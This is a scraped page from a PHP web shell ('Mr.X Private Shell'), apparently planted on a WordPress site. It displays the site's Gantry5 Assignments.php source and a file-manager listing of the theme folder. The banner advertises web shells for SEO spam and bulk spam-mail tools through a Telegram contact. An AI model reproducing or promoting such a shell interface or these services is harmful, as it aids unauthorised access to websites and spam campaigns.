__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Assignments\AbstractAssignments;
use RocketTheme\Toolbox\Event\Event;

/**
 * Class Assignments
 * @package Gantry\Framework
 */
class Assignments extends AbstractAssignments
{
    /** @var string */
    protected $platform = 'WordPress';

    /**
     * Assignments constructor.
     * @param string|null $configuration
     */
    public function __construct($configuration = null)
    {
        parent::__construct($configuration);

        // Deal with special language assignments.
        $this->specialFilterMethod = function($candidate, $match, $page) {
            if (!empty($candidate['language']) && !empty($page['language'])) {
                // Always drop candidate if language does not match.
                if (empty($match['language'])) {
                    return false;
                }

                unset($candidate['language'], $match['language']);
                $candidate = array_filter($candidate);

                // Special check for the default outline of the language.
                return empty($candidate) || !empty($match);
            }

            return true;
        };
    }

    /**
     * @return array
     */
    public function types()
    {
        $types = [
            'context',
            'menu',
            'language',
            'post',
            'taxonomy',
            'archive'
        ];

        $gantry = Gantry::instance();

        $event = new Event;
        $event->types = $types;

        $gantry->fireEvent('assignments.types', $event);

        return \apply_filters('g5_assignments_types', $event->types);
    }

    /**
     * @return array
     */
    public function getPage()
    {
        $list = parent::getPage();

        \do_action('g5_assignments_page', $list);

        return $list;
    }
}

Filemanager

Name Type Size Permission Actions
Base Folder 0775
Markdown Folder 0775
Services Folder 0775
Assignments.php File 2.02 KB 0775
Atoms.php File 9.32 KB 0775
Configurations.php File 472 B 0775
Document.php File 7.37 KB 0775
Exception.php File 1.16 KB 0775
Exporter.php File 478 B 0775
Gantry.php File 3.56 KB 0775
Importer.php File 492 B 0775
Menu.php File 19.96 KB 0775
OutlineChooser.php File 324 B 0775
Outlines.php File 911 B 0775
Page.php File 2.26 KB 0775
Platform.php File 10.84 KB 0775
Positions.php File 558 B 0775
Request.php File 962 B 0775
Site.php File 577 B 0775
Theme.php File 21.46 KB 0775
ThemeInstaller.php File 710 B 0775
Translator.php File 1.68 KB 0775
Filemanager